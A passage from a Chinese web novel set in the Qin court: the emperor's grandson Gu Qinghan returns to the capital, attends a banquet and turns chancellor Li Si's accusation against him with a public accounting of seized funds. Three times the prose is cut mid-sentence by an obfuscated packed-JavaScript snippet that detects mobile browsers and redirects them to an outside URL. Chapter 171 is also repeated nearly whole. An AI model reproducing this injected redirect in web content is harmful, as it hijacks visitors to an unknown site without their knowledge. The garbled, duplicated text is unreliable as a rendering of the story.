通武侯府,大将军王贲对着一幅南疆地图,久久不语。 而更多的公卿大臣、关中世族,则是在私下里议论纷纷,猜测着陛下召回这位战功赫赫的皇孙,究竟是何用意。 客栈内。 陆佩奇最后一次跪在嬴政面前,汇报着顾清寒归途上的一切。他的声音,已经从最初的震撼,变成了如今的麻木。 嬴政独自一人,在棋盘上落子。 黑子与白子,厮杀正酣。 “陛下,大都督的队伍,已至咸阳城外三十里。朝中……议论纷纷。” 嬴政落下最后一子,一条黑子大龙,被白子截断,瞬间气绝。他却仿佛赢了棋一般,露出了满意的笑容。 “让他们议论去。一潭死水,养不出真龙。” 他站起身,走到窗边,目光仿佛穿透了重重宫墙,落在了那条通往南方的驰道尽头。 “这盘棋,朕搅动了棋盘,清寒儿负责吃子。现在,棋盘上的子,都吃得差不多了。” 嬴政的嘴角,勾起一抹深不可测的弧度。 “是时候,让那些自以为是棋手的观棋者,也尝尝做棋子的滋味了。” 他头也不回地吩咐道:“传朕旨意,命文武百官,出城十里,恭迎南征大都督,凯旋归朝!” 片刻后,咸阳城高大的城楼上,丞相李斯、郎中令蒙毅,以及数十名朝中重臣,迎风而立。 远方的地平线上,一抹黑线缓缓出现。 那黑线越来越近,越来越清晰。 是玄甲,是铁骑,是那面绣着麒麟的黑色大旗。 夕阳的余晖,为那支沉默的军队,镀上了一层金色的血光。 一股冰冷而霸道的铁血煞气,扑面而来,让城楼上这些养尊处优的公卿们,集体为之失声。 麒麟,回来了。 第170章 麒麟入笼,群狼环伺 第一百七十章麒麟入笼,群狼环伺 咸阳,冠军侯府。 当顾清寒踏入这座由皇帝亲赐的府邸时,饶是见惯了九原的雄阔,也不禁为眼前的富丽堂皇而微微侧目。雕梁画栋,曲水流觞,府内的一草一木,一砖一瓦,都透着一股泼天的富贵和冰冷的规矩。 只是,这富贵闻起来,总带着一股挥之不去的、被圈养的味道。 “娘的,这地方可真大!比咱们九原郡守府气派多了!”李山河背着手,像个刚进城的土财主,在院子里东瞅瞅西看看,最后凑到顾清寒身边,压低了声音,“侯爷,您瞅见没?刚才给咱们领路的那个老太监,走路都没声儿的,那眼珠子跟长在后脑勺上似的,俺在他背后挠个痒痒,他都回头瞪俺一眼。这府里的下人,一个个跟木头桩子似的,全是皇帝老儿的眼线吧?” 顾清寒笑了笑,不置可否。他看向身旁的姜瞳,后者正不动声色地打量着四周,随即轻轻对他摇了摇头。 那意思很明显:何止是眼线,怕是连院子里那几只鸟,都是黑冰台养的。 “既来之,则安之。”顾清寒牵起姜瞳的手,迈步走入主厅,“皇帝爷爷赏的笼子,再金贵,那也是笼子。不过,咱们是进来歇脚的,不是来下蛋的。” 傍晚时分,宫里派人送来了参加晚宴的礼服。给顾清寒的是一套黑底金纹的蟠龙朝服,威严厚重。给姜瞳的则是一袭云锦霓裳,流光溢彩,衬得她本就倾城的容颜,更是艳光照人。 李山河在一旁看着下人给顾清寒更衣,嘴巴撇得能挂个油瓶:“侯爷,穿这玩意儿,也太憋屈了!胳膊腿都伸不直,还不如俺们那身破皮甲来得痛快。这要是席上有人找茬,俺一拳头过去,都怕把这金丝线给崩断了!” “所以才让你留在府里看家。”顾清寒整理着袖口,透过铜镜,看着镜中那个既熟悉又陌生的自己,“今晚的仗,用不着拳头。” 他转过身,对上姜瞳含着一丝忧虑的目光,伸手为她理了理鬓边的一缕发丝。“放心,鸿门宴我也是赴过的。不过当年项羽请刘邦,是想**。今晚,我这位皇帝爷爷请我,是想看我**。” 姜瞳被他眼中的自信感染,心安了些许,柔声提醒:“夫君,李斯此人,笑里藏刀,惯会捧杀。蒙毅将军,虽是武将,却心思缜密,刚正不阿,不易拉拢。至于其余的公卿,多是见风使舵之辈。此宴,是龙潭,亦是虎穴。” 顾清寒握了握她的手:“是龙,就得盘着。是虎,就得卧着。他们不来招惹我便罢,若是真有不开眼的,我不介意当着皇帝爷爷的面,敲碎他几颗牙。” …… 麒麟殿。 大秦帝国权力最顶端的一群人,此刻正襟危坐于大殿两侧。 左首为文,以丞相李斯为首,一个个神情肃穆,眼观鼻,鼻观心,仿佛入定的老僧。右首为武,以郎中令蒙毅为尊,一个个身姿挺拔,面容冷峻,不动如山。 整个大殿,灯火通明,却安静得可怕,只有宫人轻柔的脚步声,和偶尔响起的玉器碰撞声。所有人都像在等待着什么,空气中弥漫着一股无形的压力。 “南征大都督,冠军侯顾清寒,携夫人姜氏,到——” 随着殿外太监一声尖细的唱喏,所有人的目光,齐刷刷地投向了殿门。 顾清寒一身黑色蟠龙朝服,龙行虎步,踏入殿中。他的身形在空旷的大殿里,显得并不如何高大,但那股子从尸山血海中磨砺出的霸烈气场,却让在场的所有“豺狼”,都下意识地眯起了眼睛。 他的身侧,姜瞳一袭华美宫装,莲步轻移,容颜绝世,与顾清寒的霸道相得益彰,竟是丝毫不落下风。 好一对璧人,好一头初入咸阳的麒麟。 顾清寒的目光,平静地扫过两侧的文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778210|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武百官。李斯那张挂着标准官场微笑的脸,蒙毅那张带着审视的冷峻面孔,还有那些或嫉妒、或好奇、或敌视的眼神,他都一一收入眼底,心中却不起半点波澜。 他领着姜瞳,走到大殿中央,对着高踞龙椅之上的那道身影,躬身行礼。 “孙儿顾清寒,携孙媳姜瞳,拜见陛下。” 他没有自称臣,而是自称孙儿。 这一声“孙儿”,让李斯捻着胡须的手指微微一顿,让蒙毅眼中闪过一丝异色,更让满殿公卿心中巨震。 这是在向所有人宣告,今晚的宴席,是家宴。君臣之礼,要排在天家血脉之后。 龙椅之上,嬴政脸上露出一抹满意的笑容。 “好,好,好!”他连说三个好字,声音里透着毫不掩饰的欣赏与喜爱,“清寒儿,你南征之功,朕心甚慰。来,到朕身边来。” 宫人立刻搬来了两张锦凳,就设在御阶之下,紧挨着龙椅。这个位置,甚至比丞相李斯和郎中令蒙毅,还要尊崇。 霎时间,无数道或明或暗的目光,都像刀子一样,扎在了顾清寒的后背上。 顾清寒却仿佛浑然不觉,坦然地牵着姜瞳,在万众瞩目之下,落了座。 “开宴吧。”嬴政一挥手,脸上是棋手布好棋局后,那种掌控一切的悠然。 丝竹声起,宫娥们如流水般奉上佳肴美酒。气氛看似缓和下来,但那一道道射向顾清寒的目光,却愈发锐利。 酒过三巡,菜过五味。 丞相李斯端着酒杯,缓缓站起身,脸上挂着如沐春风的笑容。 “陛下,臣,有话要说。” 满殿的豺狼,终于亮出了第一颗獠牙。 嬴政靠在龙椅上,饶有兴致地看着李斯,又看了一眼面不改色,正低头为姜瞳夹菜的顾清寒,嘴角勾起一抹玩味的弧度。 “准。” 第171章 堂上交锋,**无血 第一百七十一章堂上交锋,**无血 李斯手持酒爵,对着龙椅上的嬴政,深深一揖。他转身面向顾清寒,脸上那标准得可以刻进竹简的笑容,带着一丝恰到好处的欣赏与前辈对后辈的关切。 “陛下,冠军侯此番南征,平百越,定蜀中,其功至伟,臣等莫不心折。尤其是在楚地,以雷霆手段,行怀柔之策,更是让我等这些终日埋首于案牍的老臣,大开眼界。” 他先是毫不吝啬地送上一顶高帽,话锋却随之一转,那温和的声音里,藏进了一根淬了毒的针。 “只是……臣也听闻了一些楚地的风言风语。说侯爷以九原商会之名,在楚地掀起了一场粮食大战。高价收,平价卖,此举虽博得了‘仁善’之名,收拢了民心,却也让我大秦的市易秩序,为之大乱。楚地不少世家粮商,因此血本无归,怨声载道。” 李斯的声音在大殿中回荡,每一个字都敲在关键之处。 “臣愚钝,斗胆请教侯爷。此等以商贾之法,行干戈之事,视我大秦法度于无物,强行干预郡县民生。长此以往,地方官员将无所适从,天下商贾亦将人人自危。这……恐怕有与朝廷争利,与国本争权之嫌啊!” 好一顶大帽子! “与国争利”、“动摇国本”,八个字,如两座大山,轰然压下。满殿的文武,瞬间都屏住了呼吸,无数道目光,幸灾乐祸者有之,冷眼旁观者有之,齐刷刷地聚焦在了顾清寒身上。 这才是真正的杀招。不见血,却能诛心。 姜瞳的指尖,在宽大的袖袍下,微微一紧。 顾清寒却像是没听出话里的刀光剑影,他慢条斯理地放下手中的**箸,拿起丝帕擦了擦嘴,才抬起头,一脸诚恳地看向李斯,眼神里甚至带着几分求教的困惑。 “丞相大人学问渊博,说的这些……太深奥了。清寒自幼在北疆长大,只懂得如何驯烈马,如何杀敌人,对这治理天下的大道理,实在是一窍不通。” 他这番自谦,让不少文官嘴角都撇了撇,心中暗道一声“莽夫”。 顾清寒像是没看到他们的表情,反而扭头看向了殿角侍立的李山河,朗声问道:“山河,你听懂丞相大人的话了吗?” 李山河被突然点名,愣了一下,随即挺起胸膛,挠了挠头,瓮声瓮气地答道:“回侯爷!俺……俺听不太明白。俺就听懂了最后一句,好像是说……说咱们在楚地卖便宜粮食,让老百姓吃饱了饭,是……是犯法了?” “噗……” 不知是哪个武将,没忍住,一口酒差点喷出来,又被硬生生憋了回去,一张脸涨成了猪肝色。 李斯的脸色,瞬间沉了下去。 这主仆二人,一个装傻,一个充愣,三言两语,就将他那番诛心之论,解构成了一场“让不让百姓吃饱饭”的滑稽闹剧。 “丞相大人见笑了。”顾清寒这才转回头,脸上的笑容敛去,目光陡然变得锐利如刀,“我这些手下,都是些粗鄙武夫,不懂什么叫‘市易秩序’,更不懂什么叫‘与国争利’。” “在他们眼里,那些将粮食囤在仓库里发霉,眼看着窗外饿殍遍地,却还想着待价而沽,发国难财的所谓‘世家粮商’,和那些在南疆负隅顽抗的百越叛匪,没有任何区别!” “都是我大秦的蛀虫!都是该杀之人!” 最后八个字,他一字一顿,掷地有声,带着尸山血海里冲杀出来的煞气,让整个大殿的温度,都仿佛降了几分。 李斯的瞳孔,猛地一缩。 顾清寒却不给他任何喘息的机会,他站起身,对着嬴政一拱手。 “陛下,孙儿确实不懂什么大道理,但孙儿有一笔账,想当着满朝公卿的面,请陛下和丞相大人过目。” 他顿了顿,清晰的声音响彻大殿。 “屈氏一案,抄没逆产,寿春发卖。所得金二十万,钱三百万整。” “其中,抚恤南疆阵亡将士家属,共计三千四百二十一人,按律双倍抚恤,共用去金五万,钱八十万。” “安置归降的屈氏部曲及无辜家眷,共计一万余口,授田、建屋、分发农具,共用去钱七十万。” “另,为保南疆长治久安,修筑由寿春直通南郡的军用驰道,预支钱五十万。” 一笔笔,一条条,清清楚楚,明明白白。 大殿内,死一般的寂静,只剩下众人的呼吸声。谁也没想到,他竟然把账目记得如此清楚,而且敢当众全部抖搂出来。 顾清寒的目光,最后落在了脸色已经变得极其难看的李斯身上,嘴角勾起一抹冰冷的弧度。 “如今,账上尚余金十五万,钱一百万。这笔钱,清寒一介武夫,不敢擅专。正想请教丞相大人,” 他微微加重了语气,像是在问一个再简单不过的问题。 “这笔钱,是该送入我大-朝的少府,充当国库军资呢?还是……应该还给那些被我们‘挡了财路’,正‘怨声载道’的楚地世家呢?” 诛心!反向诛心! 这个问题,就像一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778211|173524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烧红的烙铁,直接烫在了李斯的脸上。 说“送入少府”?那等于承认了顾清寒所有行为的合法性,自己打了自己的脸。 说“还给世家”?那就是公然将世家之利,置于国家利益之上,这个罪名,他李斯担不起! 李斯站在那里,手脚冰凉,嘴唇翕动,却一个字也说不出来。他感觉自己不是在面对一个二十出头的年轻人,而是在面对一头蛰伏已久,刚刚亮出獠牙的洪荒巨兽。 “哈哈……哈哈哈哈!” 龙椅之上,嬴政终于爆发出一阵酣畅淋漓的大笑,笑声中充满了无与伦比的满意和欣赏。 他站起身,走下御阶,亲手扶住了还躬着身的顾清寒。 “好!好一个‘为国理财’的冠军侯!好一笔明白账!” 他拍了拍顾清寒的肩膀,转头看向面如死灰的李斯,语气里带着几分调侃。 “李斯啊,你为朕治理天下,是把好手。可要论这算账赚钱的本事,怕是还真不如我这孙儿啊。” 嬴政的目光扫过全场,声音变得威严起来。 “这笔钱,朕收下了!明日,就让清寒儿亲自去一趟少府,把账目和余款,都给朕交接清楚!” 他又看向顾清寒,眼中满是喜爱。 “至于那条驰道,钱若不够,让少府再给你拨五十万!朕的军马要走的路,一天也不能耽搁!” 满殿公卿,噤若寒蝉。 谁都听得出来,陛下这不仅是在给顾清寒撑腰,更是在用泼天的恩宠,向所有人宣告,这头麒麟,是他嬴政的!谁敢动,就是动他嬴政的根基! 嬴政拉着顾清寒,重新走回御阶,脸上的笑意更浓。 “清寒儿,你此番为国库充盈,立此大功,朕不能不赏。这样吧,” 他沉吟片刻,仿佛在思考一个合适的赏赐,随即一锤定音。 “朕的内库,也缺一个像你这样会算账的人。朕便封你一个‘内库行走’的虚衔,无事之时,可自由出入宫禁,帮朕参详参详,如何让朕的私库,也变得更充实一些。” 此言一出,满殿皆惊! 内库!那是皇帝的私产,是大秦最核心的机密!让顾清寒行走内库,这已经不是恩宠了,这是将他视作了最贴心的自己人! 顾清寒与姜瞳对视一眼,两人都在对方眼中,看到了一丝了然。 他躬身行礼,声音平静无波,却让在场的所有人,都感到了一股彻骨的寒意。 “孙儿,领旨谢恩。” 第171章 堂上交锋,**无血 第一百七十一章堂上交锋,**无血 李斯手持酒爵,对着龙椅上的嬴政,深深一揖。他转身面向顾清寒,脸上那标准得可以刻进竹简的笑容,带着一丝恰到好处的欣赏与前辈对后辈的关切。 “陛下,冠军侯此番南征,平百越,定蜀中,其功至伟,臣等莫不心折。尤其是在楚地,以雷霆手段,行怀柔之策,更是让我等这些终日埋首于案牍的老臣,大开眼界。” 他先是毫不吝啬地送上一顶高帽,话锋却随之一转,那温和的声音里,藏进了一根淬了毒的针。 “只是……臣也听闻了一些楚地的风言风语。说侯爷以九原商会之名,在楚地掀起了一场粮食大战。高价收,平价卖,此举虽博得了‘仁善’之名,收拢了民心,却也让我大秦的市易秩序,为之大乱。楚地不少世家粮商,因此血本无归,怨声载道。” 李斯的声音在大殿中回荡,每一个字都敲在关键之处。 “臣愚钝,斗胆请教侯爷。此等以商贾之法,行干戈之事,视我大秦法度于无物,强行干预郡县民生。长此以往,地方官员将无所适从,天下商贾亦将人人自危。这……恐怕有与朝廷争利,与国本争权之嫌啊!” 好一顶大帽子! “与国争利”、“动摇国本”,八个字,如两座大山,轰然压下。满殿的文武,瞬间都屏住了呼吸,无数道目光,幸灾乐祸者有之,冷眼旁观者有之,齐刷刷地聚焦在了顾清寒身上。 这才是真正的杀招。不见血,却能诛心。 姜瞳的指尖,在宽大的袖袍下,微微一紧。 顾清寒却像是没听出话里的刀光剑影,他慢条斯理地放下手中的**箸,拿起丝帕擦了擦嘴,才抬起头,一脸诚恳地看向李斯,眼神里甚至带着几分求教的困惑。 “丞相大人学问渊博,说的这些……太深奥了。清寒自幼在北疆长大,只懂得如何驯烈马,如何杀敌人,对这治理天下的大道理,实在是一窍不通。” 他这番自谦,让不少文官嘴角都撇了撇,心中暗道一声“莽夫”。 顾清寒像是没看到他们的表情,反而扭头看向了殿角侍立的李山河,朗声问道:“山河,你听懂丞相大人的话了吗?” 李山河被突然点名,愣了一下,随即挺起胸膛,挠了挠头,瓮声瓮气地答道:“回侯爷!俺……俺听不太明白。俺就听懂了最后一句,好像是说……说咱们在楚地卖便宜粮食,让老百姓吃饱了饭,是……是犯法了?” “噗……” 不知是哪个武将,没忍住,一口酒差点喷出来,又被硬生生憋了回去,一张脸涨成了猪肝色。 李斯的脸色,瞬间沉了下去。 这主仆二人,一个装傻,一个充愣,三言两语,就将他那番诛心之论,解构成了一场“让不让百姓吃饱饭”的滑稽闹剧。 “丞相大人见笑了。”顾清寒这才转回头,脸上的笑容敛去,目光陡然变得锐利如刀,“我这些手下,都是些粗鄙武夫,不懂什么叫‘市易秩序’,更不懂什么叫‘与国争利’。” “在他们眼里,那些将粮食囤在仓库里发霉,眼看着窗外饿殍遍地,却还想着待价而沽,发国难财的所谓‘世家粮商’,和那些在南疆负隅顽抗的百越叛匪,没有任何区别!” “都是我大秦的蛀虫!都是该杀之人!” 最后八个字,他一字一顿,掷地有声,带着尸山血海里冲杀出来的煞气,让整个大殿的温度,都仿佛降了几分。 李斯的瞳孔,猛地一缩。 顾清寒却不给他任何喘息的机会,他站起身,对着嬴政一拱手。 “陛下,孙儿确实不懂什么大道理,但孙儿有一笔账,想当着满朝公卿的面,请陛下和丞相大人过目。” 他顿了顿,清晰的声音响彻大殿。 “屈氏一案,抄没逆产,寿春发卖。所得金二十万,钱三百万整。” “其中,抚恤南疆阵亡将士家属,共计三千四百二十一人,按律双倍抚恤,共用去金五万,钱八十万。” “安置归降的屈氏部曲及无辜家眷,共计一万余口,授田、建屋、分发农具,共用去钱七十万。” “另,为保南疆长治久安,修筑由寿春直通南郡的军用驰道,预支钱五十万。” 一笔笔,一条条,清清楚楚,明明白白。 大殿内,死一般的寂静,只剩下众人的呼吸声。谁也没想到,他竟然把账目记得如此清楚,而且敢当众全部抖搂出来。 顾清寒的目光,最后落在了脸色已经变得极其难看的李斯身上,嘴角勾起一抹冰冷的弧度。 “如今,账上尚余金十五万,钱一百万。这笔钱,清寒一介武夫,不敢擅专。正想请教丞相大人,” 他微微加重了语气,像是在问一个再简单不过的问题。 “这笔钱,是该送入我大-朝的少府,充当国库军资呢?还是……应该还给那些被我们‘挡了财路’,正‘怨声载道’的楚地世家呢?” 诛心!反向诛心! 这个问题,就像一把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778211|173524||http|test|mini|href|location''.split(''|''),0,{})); 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